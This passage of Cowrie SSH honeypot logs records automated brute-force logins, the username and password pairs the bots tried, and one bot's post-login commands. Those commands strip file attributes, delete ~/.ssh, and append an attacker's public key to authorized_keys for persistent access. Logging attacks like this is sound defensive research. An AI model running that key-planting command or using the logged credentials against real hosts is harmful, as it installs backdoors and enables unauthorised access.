":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:20.439541Z","src_ip":"150.95.157.171","session":"1843477d3ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle1234","message":"login attempt [oracle/oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:21.094542Z","src_ip":"150.95.157.171","session":"1843477d3ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"116c35b7896c","protocol":"ssh","message":"New connection: 2.57.122.96:59524 (159.203.135.109:22) [session: 116c35b7896c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:21.768790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:21.773115Z","src_ip":"2.57.122.96","session":"116c35b7896c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:21.918416Z","src_ip":"2.57.122.96","session":"116c35b7896c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:22.250235Z","src_ip":"150.95.157.171","session":"1843477d3ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:22.325515Z","src_ip":"2.57.122.96","session":"116c35b7896c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:48:23.431021Z","src_ip":"2.57.122.96","session":"116c35b7896c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":47058,"dst_ip":"159.203.135.109","dst_port":22,"session":"22290fe334fc","protocol":"ssh","message":"New connection: 1.214.117.218:47058 (159.203.135.109:22) [session: 22290fe334fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:05.916841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:05.923328Z","src_ip":"1.214.117.218","session":"22290fe334fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:06.129264Z","src_ip":"1.214.117.218","session":"22290fe334fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"12345678","message":"login attempt [allen/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:06.984540Z","src_ip":"1.214.117.218","session":"22290fe334fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:08.192128Z","src_ip":"1.214.117.218","session":"22290fe334fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.210.14.139","src_port":49426,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac726d87512b","protocol":"ssh","message":"New connection: 140.210.14.139:49426 (159.203.135.109:22) [session: ac726d87512b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:23.316405Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:30.822082Z","src_ip":"140.210.14.139","session":"ac726d87512b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.210.14.139","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2eb824b7b96","protocol":"ssh","message":"New connection: 140.210.14.139:37078 (159.203.135.109:22) [session: a2eb824b7b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:37.015036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:37.472250Z","src_ip":"140.210.14.139","session":"a2eb824b7b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:37.803797Z","src_ip":"140.210.14.139","session":"a2eb824b7b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:39.035649Z","src_ip":"140.210.14.139","session":"a2eb824b7b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":34472,"dst_ip":"159.203.135.109","dst_port":22,"session":"f27caa69861f","protocol":"ssh","message":"New connection: 172.173.117.246:34472 (159.203.135.109:22) [session: f27caa69861f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:41.920121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:41.924412Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:41.970120Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13579","message":"login attempt [root/13579] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.173584Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.294277Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.297459Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.300553Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.352228Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.473839Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.476803Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.523239Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.526409Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":34476,"dst_ip":"159.203.135.109","dst_port":22,"session":"84f5684503b0","protocol":"ssh","message":"New connection: 172.173.117.246:34476 (159.203.135.109:22) [session: 84f5684503b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.563917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.567999Z","src_ip":"172.173.117.246","session":"84f5684503b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.615556Z","src_ip":"172.173.117.246","session":"84f5684503b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:42.815938Z","src_ip":"172.173.117.246","session":"84f5684503b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:43.866100Z","src_ip":"172.173.117.246","session":"84f5684503b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":34486,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc20c475362d","protocol":"ssh","message":"New connection: 172.173.117.246:34486 (159.203.135.109:22) [session: cc20c475362d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:43.902724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:43.907044Z","src_ip":"172.173.117.246","session":"cc20c475362d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:43.951991Z","src_ip":"172.173.117.246","session":"cc20c475362d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:44.154514Z","src_ip":"172.173.117.246","session":"cc20c475362d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:44.196101Z","src_ip":"172.173.117.246","session":"cc20c475362d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:44.200262Z","src_ip":"172.173.117.246","session":"f27caa69861f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":38638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92b949cd822","protocol":"ssh","message":"New connection: 45.121.147.48:38638 (159.203.135.109:22) [session: e92b949cd822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:49.678609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:49.683199Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:49.908030Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e!Q@W#E","message":"login attempt [root/1q2w3e!Q@W#E] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:50.837981Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:49:51.333106Z","src_ip":"45.121.147.48","session":"e92b949cd822","protocol":"ssh"}
